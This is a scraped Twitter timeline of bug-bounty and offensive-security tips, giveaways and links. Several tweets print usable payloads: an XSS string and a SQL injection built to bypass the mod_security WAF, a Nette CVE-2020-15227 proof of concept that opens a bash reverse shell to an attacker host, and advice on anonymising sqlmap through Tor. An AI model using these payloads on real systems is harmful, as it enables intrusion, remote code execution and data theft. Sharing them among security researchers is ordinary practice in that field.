Mehedi Hasan

Learning cyber security.

[THREAT CON @THREAT_CON]

We're giving away an OSCP voucher to our community.🎉

To participate :
1. Follow us on Twitter.
2. Retweet this post.
3. Like this tweet.

It's that simple! By completing these steps, you'll be eligible to win.
Also, register now at https://t.co/iXhLYJRA1j.
#offsec #giveaway

[Ryan M. Montgomery @0dayCTF]

Best SSRF Bypass List (2022)
-
Copy ALL headers and paste in your request.
-
List: https://t.co/deOSwhXTGp
-
-
#cybersecuritytips #CyberSecurity #CTF #bugbounty #bugbountytips

[Emad Shanab - أبو عبد الله @Alra3ees]

Use tor to proxy all connections on Kali - sittings->Network->Network Proxy->Manual->Socks Host.
127.0.0.1_9050.

BurpSuite -User Option-> Connection-> SOCKS Proxy and click Check button - Use SoCKS proxy.

Terminal:-
proxychains sqlmap -u host

Good luck.

[Emad Shanab - أبو عبد الله @Alra3ees]

Fuzzing for XSS via nested parsers condition – PT SWARM https://t.co/mBAsbJE6MU

[Mehedi Hasan @noob__sec]

@naziur_monzu with whom?

[Mehedi Hasan @noob__sec]

@naziur_monzu Yes

[Mehedi Hasan @noob__sec]

@Facebook These things should never come back 😐

[Mehedi Hasan @noob__sec]

@theXSSrat Need it badly. As a student, i can't afford a vps.

[Vickie Li @vickieli7]

Bug bounty tips:
https://t.co/BqIEpEQKbZ
https://t.co/u20ICGw3co
https://t.co/SkZCaDkVRC
https://t.co/khBS4bh36E
https://t.co/bc5q4NmCpR
https://t.co/jbcJjoIQ91
https://t.co/V4S69b7PCx
https://t.co/WZDEVWvxfi
https://t.co/OUbg5T4rhm

[Vickie Li @vickieli7]

Learn to write bash scripts:
https://t.co/IoNhmffHaQ
https://t.co/pdDMqCQDyf
https://t.co/tSDHOFYl80
https://t.co/SBE3QvIalA
https://t.co/PwxVFtDPSy

[Vickie Li @vickieli7]

Diving into PHP unserialize vulnerabilities:
https://t.co/dHeXILUxeq
https://t.co/U2kHuEJcAR
https://t.co/FC4IwOl56e
https://t.co/Obz8H9pRFm
https://t.co/MIIk8Ifv90
https://t.co/cYg999T4ck
https://t.co/pRX6UYx4dC

[Vickie Li @vickieli7]

All about SSRFs:
https://t.co/2WFG9Frrw9
https://t.co/fre2bsMarO
https://t.co/HwST3ifZjm
https://t.co/OIwQ1ZFxFw

[Debangshu @Devcon 8 🇮🇳🥷 @ThisIsDK999]

I just published Apache Example Servlet leads to $$$$
Give it a read :P
https://t.co/WL77yoUhWl
#bugbountytip #bugbountytips

[Luis Madero @_Y000_]

Xss payload bypass mod_security

<svg onload='new Function`["_Y000!_"].find(al\u0065rt)`'>

#xss #payload #bypass #waf

[ch @chybeta]

CVE-2020-15227 PHP framework nette callback RCE

POC: /nette.micro?callback=shell_exec&cmd=bash%20-i%20>&%20/dev/tcp/'+lhost+'/'+lport+'0>&1

https://t.co/M4oEFOYZva

[H4x0r.DZ @h4x0r_dz]

A nice tricks to bypass 403/401.
#BugBounty #bugbountytips

[Debangshu @Devcon 8 🇮🇳🥷 @ThisIsDK999]

3) simple google dork:
site:https://t.co/bxvnY6M6V6 ext:pdf
4) Guess what! Tonnes of PII🙈
5) Stepping it up, I noticed the docs being saved as https://t.co/i8ewWTcgiR
6) Brute force away! Even more PII!
P1 -> $$$$
S3 access control issue -> IDOR -> PII
(n/n) Enjoy Guys! 🎉❤️

[Luis Madero @_Y000_]

Sql inyection payload + mod_security bypass

-1+union+select+1+--+ ❌

-1+/*!12345%75%6eioN*//**/(/*!12345%73eLECT*//**/1)+-- ✔️

#sql #payload #bypass

[Sayaan Alam @ehsayaan]

Finally, the Most awaited write-up is here , SSRF (Server Side Request Forgery) worth $4,913 | My Highest Bounty Ever!
Kudos to @TechFenixSec Red team for helping me throughout the research
Retweet if you like it.🙂

#bugbounty

https://t.co/qfLCiAo0sg